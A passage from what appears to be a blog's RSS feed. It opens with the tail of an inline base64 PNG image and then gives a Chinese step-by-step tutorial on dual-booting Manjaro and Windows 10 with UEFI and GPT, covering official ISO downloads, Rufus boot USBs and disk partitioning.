wLjEQVjUCAOCUY3dg/fvZ1z5phZx1nYjzSpZR2un5MViaSZSXkKGYcVTEH/EZmi5Kv2uqfZxfWeRuQLWSPCaPQ0epU4rOgWyehoDG9qV9qVWPEyR3ubFTs1j9HPmk4lk9Iti9kqP9wXvzaiQ&#43;bfsml6Jdsa/421CKsw67pMCU9/Xbf&#43;IK1ITjUeyev5Z0UQ56vnfgx5s3n4LJNlD9h&#43;ejm9rdQPrlF64hrPn40zWVegj6iGDH1NJb0oYVZ8DWXzOjEdK3GzBciDxY/Xie05SxzRvuD&#43;4H4oGpiwsvXKzj0xiONRsWHyqDhhMTMaLG5wvMrf&#43;6VfF&#43;0v20dVlNHvkY9/jdb5535/8XnkI2gXtj8Yn35utJ/dJ0zPEIXMujn2DGmyjYiKXrUTjlDpbjwdfK66UZYUsu5L6HS2E6bnqxJH9JzpxhAlzKjrjGTu4RHxYTpG/q7eexmI3UfZdGGyrXy2yufnVmNbJVSkEfG8pZywIaPF9KuORY0F0xOfDbTnrRhVuqI8mY8LXql/ZLmM&#43;UgWu5X9j&#43;ix8S06Jjn6FsPSHy5QiDoOL4Ca78cZqkmRdRKqO1N8KklROabquFShrySKjMYIsC6r0gxEe5Xtoeft52S0UJbMpl4f/Kz0xrVMNj/m5az4j9J3FFAe/Fzhj/Liq5/nefixSixgzEaJz&#43;9rFg&#43;Vxk75G&#43;6Zf472zRrCPaj4Jc7zn/1a1dgwmmhr1Hd9pvZf2V7J2BMHkW/05gK/hukVydX9W7IsKaLQzABRx&#43;TH8L1yYo91jv9BWSNDex08TaZntA9&#43;nBUfRovtzVEJlcnhZfFzInuwZNnDF3X3exbtK0t0mZNX5VPJkO3NOoftUW8B2IuoGKoioPa7Mp/x8XEXxWhP0o54Kd9kcxWixJ6N9zQgW8D2EHMp20/mk9hAefpeD8zfUR6KcrGn39PYIE&#43;UjcmOtNQzFrNMd3xO5U6MveDG&#43;WSijNZTAKLNjYKhAmWAyNisI1XjLCmq/VFzI95elS7FY9y6wvP8H2EY2NnPxXm4fn3v11VtoWRkPsP2mcmqaCIN1I3Jn&#43;mR7N8om96K0RXKNl5eNq72o7KezQmFD&#43;INdfDzGR2mA5Ml0y&#43;LUybHQHuaGf/jIlmsZXZWz9VYFsPsc5ajs9hFXkz26HnmJ8gnyuFG8m75L/2goFFBiQTNAlUZa09gRp1SdU2wqbdoZY2EMm6QDIYFYxN/vQl16mkwsvm9Du3pBnqEclR8IkpGkb2zZ1m8qGDciIXJ76GaNpWooqbD08zszcayhgfnMl6RvJW1WZFgOmdJ3A5sapVckcyV9TjvHgEK&#43;am3ODOemWy9MRbZ2K8tNkW3BstXsiujqDPwr5GwymDrezamZMoSY0QDZfTye1mYPD0dEpMD98LTU&#43;MjoJyczWOOvMqm9s47KuqkZEA6nhb&#43;ZDSiAKzYdx1DnRgfJcueRqAXq/ysUPhnyF/ppGJYFQy0d09yR/k9XeTF&#43;Kr9YPui5lZp9TQMI4BxsI4x/igX5hZVoHAcY7tqO7Qh0s9ijfFTBdKv82uimqJyOL5HOgylguk3LDIUA3N2P7/aYfgxljxVsLMEouRDx2D8kZ7nh5&#43;V/lmCZQEyEiqJMFuoJoatx8TN1rLP3n5sX/G954V7j/vLCoaizxKNH1OBp4oJw1HJFWPUP0Pe1STDZI8ajPU92oolftXIsPnIn9mNgcUu8wclj9eH6eWfj0aUX1hxYnrgeNQA4Rj6CstJ0Xu2J8zOyj9VvKm6oWIwiu9e&#43;c2KBROTDIIlKdY5IC0MALahWSenCi7yx0SY6ZuNZ07MdMwSbKbraCjHiHgrp2Y2YHvOmgtPO2omcK&#43;jAFLJUj33c9S8LOEovqjfkUVzfc98EfVjcevXR8UgijmW6FgxxBjxPz3x6umyWEc6Eb1Ib9xLthejUCnkkf0qunrgPqmmgjVdFZtXbYh&#43;pfRnnxUdL0&#43;lyEaydp0w/WdULAtCpMU2UxVEpVw0JwqSzDBqjAU4jrPAZd1Otj9qP0ZA7be3DSYHps8KNs544JjahyzZseSL9BiiQEI6mNgxkaN/RL67JYFVwWyFuqCuzK9ZAxT5La73z1Fv/JwVLE9Tzc2aDxafUSFV&#43;YvJp5qTUWA&#43;6vmz92wfFB1VeFhjpfInguW6KOeuNCO5sSmIGgS1F5nOKEeWe9OCqQzEAhE/V4oV8oo2NTIKK2ZRkWK8Kgk3m&#43;dpYxBGrz08jkQWGOucLFg9jSxps&#43;RVSZieByZ55J0lapVAVzrIF&#43;XEsSg&#43;RoPpyRI76uAR6eznoO0wJnE/2J6ypkMVMtUAqDyCOmQ2ZckV5WQNBZs/EpUmCG2t8jOjy5qaLN4xt6lYjRpFleMrcuNc3CfkjfR6/EnJkf7hAuZQap7qMNl7tq4KLESKF9ucKi&#43;VdCuGyHRCR0I5VdIZDWUTnMPkYEk5kzlKwkomVRhxLdKOggOTkWqgPC0lX8TPvz8iqXq6mNwZouYM90DFPfODqnz&#43;cyWXqILI4juSF4H7w&#43;yoknrknyOh/LnqoxndbH4UT1FDk&#43;WT9RkrwpFcKg8xX1T5Nco/1TjdfMJUAqxMWSBn9Pz6aByL2PrKxlj3hAGmeOA421jsupgOuE7xODIAEcwmrABmAZA5mkqY6j3aUSVn1vxkzQrKyAIXfxi/KBmgn7AmcnQDxPih70d7g3uPujKZ2Rykp&#43;RRMel5ZQVCJfko&#43;UfFAuOX&#43;UJUMI7AKlO0b6gPjmFuUn6B66IxpLeiUngVDyYzm8v0YeiJsyyv3DM3Cf5bD5nTrePKybEjrAie8cI1VdooH5MtmsvkwblIMyoamewnOsOqaIN/h8nkR6iErJAllGycFZ2oeDK&#43;OObHlV2YbOozvqIeKDeZP8qm8g8XMJmYXPcQS&#43;wV7VlW3LK9iuSM5rN4Y3wqhQZ5oxyKv42z5628G&#43;nq9cjm&#43;fnZc887ixP1HMfYMxXriEpDlr2PZBPy3hIkvJJljNRGRJ1GTyemuk5loEoCZ7R9p9LTJWaGjWSprK3Q2QPWVVaLZ3VepbhG/hL5TxRsEQ0lP9KPkiLyYeNIp8e3tiIr3DjXP8fPLL6zhgnnetoqxiqFEnVDmhGypitrznoagyPt7GXMGkeUWRUi1fBhHDCaUQyoOEc&#43;uIds/5Cf8ku1T2yO4sXmKYRXsigsKuJ/MiP6NewZ8mUbyozn&#43;fvNwlekq2gxoBHYM1bEkQ&#43;jw&#43;RTtEaBORQ2H8qeHpmDMt2ZnaqNAcrFAg/HVRAzH2O&#43;jLJGScZ/Rr5HFVCV6NcxtQb9Fm2FscLsjLHD1nlkexYVaUy8aj5LrEp/JpvXjc2JcuIosL1hMijZcS2LcQ/lq4xmNIflXpXfVDyoAhz5stKdvWb1AN8juv/4uocqSkrAyAH9epWEVZejuiFWZLMCwYKUQSVGnJONsyCvFKutYPutbKaSRiafCkrllJHeaBdVrCpFi/lWJLfnGcmb2Wi0DT0iGZi&#43;KgFj8WPzo2deBvQfllwjezK74XNsblBX1fyw/UG52I&#43;fE9EcAbavqsHD/WJ&#43;qnTJdMjsG8kX5UZsgDwNlCmqA/he6efnRU2V2lOP8h8uiIT3AqjxKKA9TRU8aBTWBTLn8QGr6LHCyqCcTRVARi8q9qwrOjIgVUFkMmzp&#43;vwaTJxo6/U1S8pIM5NHFW9F369jfoF2UsGbJeqjoJIAPmPJDX0iaypxHBHxZk1HVFiZnCiLpxPZHZsE9tzrHxXaI2wZ5VQmV6WA&#43;XVRs4KoNAtMFhUbKmbZenyNmgEms/cptp9&#43;vt/TyKfT7zCVAyuHixIFKqTAFFbGjAoKCzAml0rKvc6EMrPPyIO9R9pHAJMWOqhqcpQ9euzA9lbthUqYGARR0KCMmLyZnynbMjki&#43;2X8RyLbrxXKJ/0zVlzZ3vtx9TkbR9lV3KI8TBZFR&#43;nHCrqSGX1Y8RiFKFaYTmxc7Wm16Ctds9zAfDEqqpF/Ml&#43;MYgn1y/w/08sj/S3ZKCkg8yiRoEJM&#43;UghP34EmPEqG5gVPk87M1CQmEdWz/B/Qrg1OWku/Lifr2gq20eFE9dX/II1KDg3o98jX0aTYJRNFy9bjz2r&#43;&#43;vBkrLio2yQ8ffPqnsexVdUcKJmSc1h622cPc3s/f8DTUUOVTBXZMVdNVnqmaLVk/uZjNWYinw8y&#43;HVWqLybnoluzKLBMgSsK/0KGTUISh6e8BoiQC4JROT3z9b3yMv1VlFyScKgL3wuvQ6NXsfzWN7owIN52Q6VH1kfc78Em2Kc9Z1zIejtX4O8h7pz54HjjE5vSyof7SPqojiHrD3UdywV79m3Xu0N/MlpovyE29XNu/IHJSB&#43;WokR1QIcTyKBfZ&#43;/Yy28DyYfJEfef74Hvkxm0dg87N8hzKF9JMqu1ScBZ3LC67mo8CMhn&#43;O45ViEnVcWfdSkcfPZzqyBBrJF3RZh5wwVVJghT3SY517i1Gyl1HQRnSRfiSXgmpWMlkxOWWdruK1DP4PpJEn8u7d/554VvOYH6nYZ7IqubJimNFDmiiPn6PyA34eaM9H8u4qD/O5KEdGeQ91YHvJ6Ci7eigaCkovlW&#43;UH2V5Xr2yvQGefSdMVqFZJ&#43;KZ&#43;a6GdQVMMeTDaPnP69ysm4kQdUBK1qjzY/MVbUbHP4uS2ggoG/r9R3lY1&#43;dlZL7i6TPb4jizJ9JiPqh8IXqPPsXo&#43;s6z1xfw&#43;R5fjZA1jso3mc1QVkaHzfdrFJ2oWPq9QrkYD6Tlk2A2zuSLYh7X9hTfrVA6eDD/w6Lgf3AO8qnopeKXrVO1A/dSFWSMI6ZDlENR10zfqIB6pH9LNiKeJYzomXrPFIiKJs5Rm&#43;jnZzKywqyCggUq01nRYsF/JNh&#43;KwfM7ILPcEwFmLKVsl&#43;U0FlSVk2H8juWGCpdK0OlgI0smhV6bO8zOzKfiMai&#43;FjnrZ&#43;j2MZXlZCV7JVEWIll1ihlPjEKLN7QX6MGTI2xXMR4sByrCp0fYwULeavij7TVHrBiyOaz&#43;GbzIz0ZSn&#43;4oOokqITa1KiwRUk6moNzVWfDCgOTV&#43;kVrYmcMtI3SgxHFFDVRGAHyOayAhUloJ7kqmT0e8jGs6BWhZs9U/7RU&#43;Q8HRZDR9iU2Sbae0xwGCtZo8J4&#43;nH0Jw8WC9H&#43;YvHKbIR6oFzR3kRyjG52Ij4rlN4sXllcK6im0tOO1rG8pvIt8kB7qlxTqQVRTYgaAOSjcswt/ZONXdRi1pVkz1SXoT5HyVoVUUYj0lF1NyzBqD1gNKvroueOzrAobcH30lFjpLrErPCrRKT8gsnDeGf0lLxeLsYjKzLVxJTJuQz6zquJ32RHftF71CNKpoiIJpvL6EV7GMnKYj9aE833c6IGax0j9EdW0sXzwfceUY51stE1GQ3/nNFS89UzFUsVW2X5x6OiS8TDjd8ivul/K1ECRY6sFGQdC&#43;sCmHKV4GRzo46DdT5VRA4UoXf&#43;HmSJknWOykEzfSObMt5qPFvLZPGdpX/vaTL/jPRg/NmeYTJgcTMSzGb4DHmrJsLT8vu30lDAYrPqrRJsxpvxW9dFdPy6nrhiccB8nX0eHb9RjPXEZxSzylfXMWZ//2ylj7EV6aKaK&#43;VjLG5ZcWd&#43;oHRhcvUg/A4z24Ss&#43;PmxFbhR&#43;JoVY6QTdUNsXtS5ZAWfGb/ajeEc7K6yLnAUlANX1mHiV07q52e&#43;ouyj1jBUOlw1h9lcJW4V5BjIbF&#43;rxbkXqhFVPJTt2JwVqmHAPVNxhGO4TypvIFQhxfnKFsw/MSkrH1axUtnPXrD9Qdlwvl8X5WHVpDJ6US5led3zQXlQ/qi2YJOJzz1tnBM1ULh&#43;/Rw1KLfkSwwtf2WddR5M0KwoKIUUDXwWrVOy4jjTJSvEFV6RfplTAu1hx5JG/usglfi8zNE8Zp/M1pljRmsjmiyQqvOYzlsQJV/3fohNW/DHRbJmSDULUaxXi5aKfSWfikMlb2QblYvYnGifenLDKHuurL2MKEuUz6L5kZ1VDGeNBOOHsvg5jIaSLcufUS5V9aISm&#43;75LSW6T5jRpivnW8eiosqAPKLg82sYL2YgRletU/JV9URakV6K/gjg/uAeRsVdycb2L0rWWWAhjyhhZf7XY0&#43;cr4IzS/SqMO8pwlUwH4oKF5MXn6v5EdT8qLGKGhwlU0ZP7X2lwWPxmhXPEWC&#43;hnqogoM0VIFntDzPSC&#43;1d5WGxu8jkz3yyyzOVJFE3tG&#43;ZDqU/h2mV0QFFyaVKKkhHTZHGVl1CYymQuZk7DPbvDWolG4V2TEoVGIeCSVDlJgUjfU96t5T/KsJuFpoV5rKNlkj4OdWkyz6gh&#43;PPu&#43;F8mOVaP17NW&#43;li3wYff8Z987TYzIrGXzywzGV5JStWJFTryye0e&#43;UTiOh8qfKt/4ZW4&#43;02XvUX&#43;nN7KEKXlTsUS&#43;0IbMHo4l6rJ9VrmC&#43;i/Sjgl/6pR9UggnZI1RUDDBQGA&#43;V6Nj7iGdvwox4rvJFju7lUMUp02MvWEFWiUUVPz&#43;WBYXnxYoWo8mgmjdVuJmvROvY&#43;/VzlND9Z1zHdBpt0yiOomLP5ii6WHyyPVXx45Nglrh75MmSPPJgfCNfRzmw4B8RpysvL1&#43;UKyI7oA9jQ8Jynp&#43;Dzyo2QlnYPkVxhzqqvKXWVvO9H6/4QPqn8VCALCGhwaLuDB3P02OJlymJMkXdBRtT&#43;on9KMuidKgkdEJzWEvbCt9hItieZHuN9LPmgtHF9ZGPKPqRDaqIfFHpXtBhiE2b&#43;zNqKDPKuI4rH1W&#43;iDrgHGabSA5lT6TJZN6SY5SelXwRzQFdh8doFpsVu/m5TPaooVifR7kU5zK&#43;WQ5WuVzR6a0RODfT3c25RTj9Sz9RovAdClb7SuGoOD&#43;b72myzVa8Mr1UgmWyIKIkgPMUf6QfyTACXkb2vuJc0TMVnDjXz0M5vF&#43;hzzE5mC8yVBIzyhoVniiImQ6jUCkYUSPY0yRFY1nSznxtXVeJZ0Y/s3WlKGd6YM5R9EdA6e6fRfHJZEeweGHrWc6q5sdKk4Wy4B6rXF7J8wxR/kD5EWnBZMSjgIgKp6KPdCqJrior0q0UMpQjK2AVo6k9jDqt0UHI5EB5cC4mLi&#43;fn4O0Ks1MFogYRCppqsKa6VbVn/FTcrC98rSOSq6VBBYlxqwxVmOsUWQJk8WSismo&#43;cQ1Wf5Q&#43;82Ss7dPpUBnOWUPsuaKNWxRYcG1DMo2KqczO1UKVpZPmJzKJ5gNoiZMyeIR2TT9pR8V6FFh8u&#43;ZQ&#43;NaFrzo0Bl/lNWDjfk1UdeonCBz5KioqESA6yvOtxcq4TCbo0zMXox2dT8wgSnHRx5RwxLR82szXphY2TOk6elmgbsVjJeSlemP&#43;4OflX/gnrKi7Hmp&#43;FTrthRLz4vtQxbTKi9lBX10nCqfXT&#43;zvcL9VrqytVHB93Qiel4&#43;9owVW&#43;TD4gfpMn&#43;pxljksypOEOX/DzPrHrLEFQUES8wouFJSJS9WBJleKLt3/jds1AAADHRJREFUNnyPfNb5yCsLJCVblCxGgvFhTQqTJXJOlUz9M8UXZcP3fj1LiEinans/xhJjBrVP2HQw&#43;UeikmAj3sz/1/nKTkx3Ngd1Z4WbyYcFViV3ZfeoWWDJksUtyq4K8miwIhjlDOVjVTt5fpgHqo2ByseeJo6jXpEeii6Tw&#43;vAchKLT79eofTH1xmRqLJHyuAcPy9yCHzPkhsrolEBjboQ/1nphEkG&#43;flnFd2YrJWkvRXKeViiV42DSrRR8sGgWJ9FRU/RzvgwWlhoGT0/TzUyuG9MF&#43;ZPIxHRU4UpKjpKZ5aw1P6zpov5DuPtoeZncYuJX8mZyaKKUcR7BFi&#43;UA0XK/yRrEiTvVf81B5H&#43;rO4VDmE0favrBao5iZ6xVwb6YkIv8PEKq2Ejqo8o4F0cF00jrSUIzF6GAzZ2kwutT4qkKp7qnRVIxHxYsWMFYYsEfrnKhGxQojrPXCuShhqHqOFYxVfz/wabav47QXbI1b0/XgWh0r2SuxnPovFVMUiK9BMTpYXsBAwmTL/j2RW/jsKrDAxuaMmUfkx0sBXlu&#43;z2GF5AcGaGJQd16JNMQcpmysZ1ZjSgyH903iMWDWRR0EQFQjlsNl6RFbk/OfMARWqhVvNL/IZWTnLNs3sd4&#43;ABf&#43;oFLEsEVcSHMrDaGRJjwVrpLPiEcg7yqa3/kehSvPmn0VFE&#43;dTAUQTpWIrW6Nk9et6PkdJViX7SGYxPixGm/inXypnRv6frVN74/n6des8fI5yRnIk&#43;3jrWSRftAfsWUYX6NyyaelvySrBooQQGZLNqyQoRecegZMk3GNsRkc5YaXoqjlqX9zzoQWzmkxQdyZblGwrXV11P9hYFgxZomRyV5N3lIxQHhEzQwumSiTs8y0CQWLM9MviAeer5yrPVP0l45M1RRGtYhwPLZiZrF4/RGSLbD/ZWBZ/ka2RBtNH&#43;QF&#43;VnbPclO1sBI5b21u&#43;ks/HqsQ6w8yY0LgvMjBo2SGtJJCH&#43;qwrkUanrd/zRwK5UIeKw0/5ueM0KsXUVGoJFi2d7jWv0eHVDzYfiMPhN/fKDEgDWYnpMveqzXoO5GOI&#43;FtyYolix1mw3Vd1VbKBxRfxYvtW8YLeWQ0lC8q2yjZWZEdHbNZo7bOUcVS0UAfYX5T4cPypF&#43;rCmglhqL8z3IqawzQDxXtzDcZuv5wAVMycj4msJ&#43;LXYbqYFCRyCkisG4FAxt1iwo8k1N0KvfQw/m4ttJkbIXq4Jhsaq&#43;YTZkNI32ZHJ7eFn0y2fx75lceVXuyNRgzrAiNhrIh4xvtvYpJtcdIA3lEyRbHGR2W8DJZIr1RPqaryke4VvHZiygmPaI48s8Z7SjG/XqkWylwlYYny/0MWe6vrMPPKt9JWpGhm/sTTSshLxxzHDY/2qyIltpQj4qjVuRUAav0UU4TFcpId1wLRht63YM6JT5wz&#43;dKEClUk8ooWtG&#43;Zk0L4xE1cFniJPNG2fTWf8Gn4jTzvUohiOIx2oe9zWckO/KLYjPLU5n9Fa&#43;B9jSz2/&#43;9F5NZxXClycuKlfL1VHDhb8qvIj9Sebaid8QbeSEim27&#43;03ieGQqVBbBfs873ykWBzNZmMqsNixJ&#43;FPAVh2R0o44R96VaXLaA6Zs5H5ur9lXtZ5Jw0jWZzDjG/FMFHdKqJGTmq2o/kNdoqOTC9MsKRZZkGG&#43;/bl3D9l3Ji7QYXaVzZL8sbtU6xZvF7RH27CkUWdFTzQb6A/LOmiMlb7aWzUe6SjacW8k9WFdUQVa63UMrScy3fkGEEe2d45Vg69WcShArQ1YKkJKxGnSV5B8ZKSiow0&#43;Ynu&#43;qg//s5ss98HIzWggVtCohRjJF/JRtMp5RIVUyKrkKPj3Epg1uDJRcUSyqOVGhV3vTE5tqfiWGK36k/CQr3ipWI7vagbdAmT44N9qvynp8xtZF&#43;axqZ4bIJ5FWJf4ZrYr8p2d9J0xPKCs8LHBUUvLz8b1XKOpQ1DOUc52XBQAbU3Kt9DK9vBzYteE6JrMfGwnmLJlMXvZqwvHr0QZZwcK1/nNEA3mrRMoaMaTD9qPiPxGto&#43;zpZVPJAJ9HCVP5PpvjX6NE5GVY17MkFvl&#43;JTcoPat2UPGr/HM0ouYjKnZ&#43;b/znauOwIvLx3ljyYyq3qmK/Z39VE1cp3ConmBX/lizbBP/j53vHUsXFC96zmdF69hyDRTlUJcn5ghftkacZBazak2ontgdYvCtysmSpArPaTOBclSgwaWVBGhU7lWyjZihLSJVGh8XLSEQNm5KLyehl9XPQBrhOJdbI5yM&#43;rPFhsjI9Kg1Q1AQh0N&#43;OtiXyRJ9DWVlMqKSvYkDZIspTUeH0cyJ/ZDSzvWY&#43;jf6j5GK6oM4R0hMmKxxsE9DAfr1agwJjwcW5TKaKkp5PVMxZ0o90RSfLAlXJwvTa011FQFtlycLLpgqpCjAcR39AmSoyoi74PirOET3lp15//MyCnKGazEZBFZesoKuk4fcm05vtTcSbxUJWHNFOURypNbgvjBeux/ds70aDxQs&#43;93L4NWxPVfwxGv4Vx1lzpOINaaMcLNaVbzG6/hmTS&#43;mp8kFky/SE2fs8SoSIyHkrSRI7EPZT0ccnAha0WUAxXZgBkR&#43;uzdaNBNsfP95jx3XdOte/YnKNHDtrHlQQsWYI53ufUPuv5FL7FRVK1POoQqkSG2v8mHxIR/kE2kbxQ57KNrhWFTMvH4vRyPZsLiumyI/JqfzxiDiNChCLIe&#43;brLlRRc7rgjyQvuLLePoxpK14qs&#43;oG85Tz1kBRht7VPNu6f/DZGNZ4LMCGDktJqSKwtj5RTIzg/d0bYwOdklM9qyTQjr&#43;2REJNpNvhQpaBD5neihbZmuVfdl&#43;s&#43;BWQRs9Y59Vks9kOSqhIqr8In9SPs0Kh3oejSEP/8rmZmtVUWZ0I75qT/yaKAaPsHGWT7Lkr/IIkzWKOU/D01U5UMmjZGOxmMUsa4SYrIisGYv2xSP930pUx7AmvMgJfWKMigt2J6gYS5xMQZaE2VzVcSnaq2wYnEp/T4MlciZD1nWNRmRbP4avyilZ0Wc&#43;sD5b12AQIA&#43;/JitwSjelZ2YzNpYlUD9HBd2RTZD/3NMAqWSkYjdKdIyHt7WXicUtxppflyU2No/ZmcVdljtUMTnKniwefCyxvVR6rOPeDkgDYyayFYtbxsvTy/RV71kMZk0KkxFzNYuZjHZ6wvQCeGFZ8Kg1CLYJysGzQhtBbYxarwyiCnz1OZMpkoElqtFghc3LgO&#43;rHRo6KpujCmNkT5Q3moOIkj6uUwmgJ&#43;A97fVZFit7ETV80RxsaFihyvaCNYGZ/0a2jppKbL6YTKz5Yv6T2Uh9VvswCqxpiWIH5YkKmefh17H8zj6va3EfVXOlZGA5NsvxzG4Rr0pzE61h6PpbsshEGdXPw6BjTozAbol1Bkgj6h4wAXi6aJAscWMwRs7AnrN9YIF5VDB6OVhiiRoYtrfMFl4XVeg8LewCWeLFdZFefq2XUcnvEc31No0ScJSUcWwvsNBh88N0ZLLgnrCGiiVOv0YVOv8eYwJzRFaMkRfOjWzH6CLY/ql5EZ1RYHHh&#43;aOtIlk9TT/ObIz5S&#43;U6lEXlLq8Dsw&#43;bx/I20yNrZCL/R/qRbGbF/w/TE4iSIyoRdRe4DmlH76OAYAaLaCj5mc7IU81Bnuw5Qul1NNg&#43;exmios/m9vKN9ijahygomD0xGSiakR2Ur3qemf8faVuWUCsNKu6NSrD4OcoJOB9pszFWFHFPGV2mc5Zgo&#43;TOGg9l3yPAcimTEWVTclXzULQ/Kl5Vrs32b53L8mSUr1XcKX0r/hH5J6L0hwuYk6vqz4JPFSQmGHYrSBdpqCSvugqkwZJgJB9zBuSfjTFEyfhoRIlufb7anNkRO1Qc9zT8eOaoKnhQ9p79igKup9BGxWddX5m/F0w&#43;ticsdlTxYnEXFRZPl81XSbqyr1lxQ95MZ4SiF&#43;2BmutlHA1l2xVsLIsrFT&#43;VXMv4K59T9DyNyM&#43;UD0f7XvEzb8vIPxTSE6ZiyoSOikkkoBI0&#43;8wSupIb6VQ6JfWcOaSavyXBZ4V/BDK62b6xIPXv1fOIX8Q/SsSs4cp8MZMla7iU3Gz&#43;kXZkiTDyZ&#43;WXWRKq6KnmsxhB&#43;p6OKpqRHFHjkBVcTxcTNmsIzg1V7PzzbO2KSiGNbKLoResjOaPCyD5HdYfxi/xJ1TMm&#43;yNr78IBJiYmJiYm7jds&#43;qWfiYmJiYmJBw2zYE5MTExMTBQwC&#43;bExMTExEQBs2BOTExMTEwUMAvmxMTExMREAbNgTkxMTExMFPD/AWzljV6r9rP3AAAAAElFTkSuQmCC" alt="png"  />
</p>
]]></content:encoded>
    </item>
    <item>
      <title>安装 Manjaro 和 Windows 10 双系统 UEFI &#43; GPT 方式</title>
      <link>https://hacperme.com/posts/notes/2019-08-04-manjaro_win10_dual_boot_uefi_gpt_mode/</link>
      <pubDate>Sun, 04 Aug 2019 17:33:26 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/2019-08-04-manjaro_win10_dual_boot_uefi_gpt_mode/</guid>
      <description>工具准备 在工具准备阶段，主要是下载系统镜像文件和制作U盘启动盘的软件。在操作之前请备份好U盘和当前系统上的资料。 下载系统镜像文件 对于Wind</description>
      <content:encoded><![CDATA[<h2 id="工具准备">工具准备</h2>
<p>在工具准备阶段，主要是下载系统镜像文件和制作U盘启动盘的软件。在操作之前请备份好U盘和当前系统上的资料。</p>
<ul>
<li>下载系统镜像文件</li>
</ul>
<p>对于Windows用户，最新的 Wndows 10 镜像文件可以通过媒体创建工具下载：<a href="https://www.microsoft.com/software-download/windows10">官网链接</a>，打开这个软件，选择保存为ISO镜像文件就可以了。</p>
<p>非Windows用户不能运行媒体创建工具程序，反而可以直接下载系统镜像文件。在这里下载的镜像文件是：Win10_1903_V1_Chinese(Simplified)_x64.iso。</p>
<p><img loading="lazy" src="https://ipfs.busy.org/ipfs/QmXLivVRXtFXYcLhFw3gQdWTctsJu4xoTnaKpmA7676bqM" alt="image.png"  />
</p>
<p>Manjaro 镜像文件官方下载地址：<a href="https://manjaro.org/download/">链接</a></p>
<p>Manjaro 的下载页面有多个桌面环境选择，这里下载的镜像是官方的XFCE桌面版本，镜像文件为：manjaro-xfce-18.0.4-stable-x86_64.iso</p>
<p><img loading="lazy" src="https://ipfs.busy.org/ipfs/QmdeGr2jQL3ntn1gu5y84i1zUGcEBQmcW53FgQyxecbLeh" alt="image.png"  />
</p>
<ul>
<li>Rufus 制作 U 盘启动盘</li>
</ul>
<p>Rufus 是一个开源、好用的制作U盘启动盘工具，我一般都使用它来制作系统启动盘，所以安装Windows 10和Manjaro 系统的U盘启动盘都通过Rufus来制作，Rufus的下载地址：<a href="https://rufus.ie/">链接</a>。</p>
<p>制作Windows10系统的启动盘的设置如下，引导类型选择下载的系统镜像，分区类型设置为 GPT，可以打开日志，其他设置默认。</p>
<p><img loading="lazy" src="https://ipfs.busy.org/ipfs/QmYvsN7dHEg1erRmt1nt6MSy1jcjMikxMxFnSBr7Q8VU1a" alt="image.png"  />
</p>
<p>制作Manjaro系统启动盘的设置和上面一样，但在写入镜像的方式里选择<strong>以DD镜像 模式写入</strong>。</p>
<p><img loading="lazy" src="https://ipfs.busy.org/ipfs/QmdcRbGB3aJ5Dm9oaT5P2d32UXGR71oc8CzFUKFMp8H6Zz" alt="image.png"  />
</p>
<h2 id="安装-windows-10">安装 windows 10</h2>
<ul>
<li>设置电脑的启动顺序，优先U盘启动。或者在启动菜单里选择U盘启动，选择带UEFI 的启动项，进入Windows 系统的安装程序。</li>
</ul>
<p><img loading="lazy" src="https://ipfs.busy.org/ipfs/QmXY4CieUFWoy1t2HEm6Ldkk8BcNtmdG4sRkVTkxT4MAXu" alt="image.png"  />
</p>
<ul>
<li>选择安装专业版</li>
</ul>
<p><img loading="lazy" src="https://ipfs.busy.org/ipfs/QmczZCS7Rb1vePd4wwnqLSsnUjCqpww5mEdCCjKVZD8UXi" alt="image.png"  />
</p>
<ul>
<li>选择自定义安装</li>
</ul>
<p><img loading="lazy" src="https://ipfs.busy.org/ipfs/Qmc7CAZecLcrALP6WE1YUJdnHVv8LKLsBws3wd5LYvRtHW" alt="image.png"  />
</p>
<ul>
<li>选择磁盘并新建分区</li>
</ul>
<p><img loading="lazy" src="https://ipfs.busy.org/ipfs/QmPhiDY5Qc1z51NtBb84Xi3YmwsC9GKXgZ3vw56vAhtcet" alt="image.png"  />
</p>
<ul>
<li>分区大小不要设置为整个磁盘，留有一定空间安装Manjaro</li>
</ul>
<p><img loading="lazy" src="https://ipfs.busy.org/ipfs/QmSux4zZQkQTV1J5gkih3uD4ehxG9MY27dxeXN5MjU9LEL" alt="image.png"  />
</p>
<p>系统安装位置选择容量较大的那个分区，然后执行下一步进行系统安装。</p>
<p><img loading="lazy" src="https://ipfs.busy.org/ipfs/QmbygfLnK3kAfVxNkk6QcgfSKzbenmnjwpcxo2y8MPfLgB" alt="image.png"  />
</p>
<h2 id="安装-manjaro">安装 Manjaro</h2>
<ul>
<li>从U盘启动，进入Manjaro进行系统安装，先设置语言为中文、驱动设置选择Nonefree，<strong>如果是笔记本不选Nonefree的话应该用不了WIFI</strong>，然后进入boot选项进入系统进行安装。</li>
</ul>
<p><img loading="lazy" src="https://ipfs.busy.org/ipfs/QmTSGZCMDoPy7Y4s3ebm1tCu1NZDgbCm5gsUMJ3EaAMkYk" alt="image.png"  />
</p>
<ul>
<li>之后便进入桌面，点击 install 那个图标进行安装。</li>
</ul>
<p><img loading="lazy" src="https://ipfs.busy.org/ipfs/QmT53UxLdfxczxwsgYgGWKfnfszy9HuCYKwTYNjRoT6zwe" alt="image.png"  />
</p>
<ul>
<li>选择简体中文，下一步。</li>
</ul>
<p><img loading="lazy" src="https://ipfs.busy.org/ipfs/QmWeCaVjquDScdf72xrFocuaKEtg5fBX2JgGvdbrAcZakY" alt="image.png"  />
</p>
<ul>
<li>时区设置</li>
</ul>
<p><img loading="lazy" src="https://ipfs.busy.org/ipfs/QmNpHnenF9k5KrbiT9GgyBMBaGvM6RYH4v2e2ifBimcqxL" alt="image.png"  />
</p>
<ul>
<li>键盘设置，选择汉语拼音</li>
</ul>
<p><img loading="lazy" src="https://ipfs.busy.org/ipfs/QmTxKGm7MA9cP5FhJgzfaVZkRZdYJBBraVUR9nDsrhruU5" alt="image.png"  />
</p>
<ul>
<li>分区设置，选择手动，在空闲空间创建新分区。</li>
</ul>
<p><img loading="lazy" src="https://ipfs.busy.org/ipfs/QmXd6AxZ1qiZCYKyfMfiCSwEcvecUmfZJfPYrApkbSoaFM" alt="image.png"  />
</p>
<p><img loading="lazy" src="https://ipfs.busy.org/ipfs/QmUbB24xnMEUcuvn1fa5EFcrZ6otH1YqUcwmAJL1fdFtn7" alt="image.png"  />
</p>
<ul>
<li>设置新分区挂载到根目录，文件系统选择ext4，分区类型为GPT。</li>
</ul>
<p><img loading="lazy" src="https://ipfs.busy.org/ipfs/QmcEqL6K7WoezdnHhCMj75AjdMUrRj5X8aAZ2VKAg479fP" alt="image.png"  />
</p>
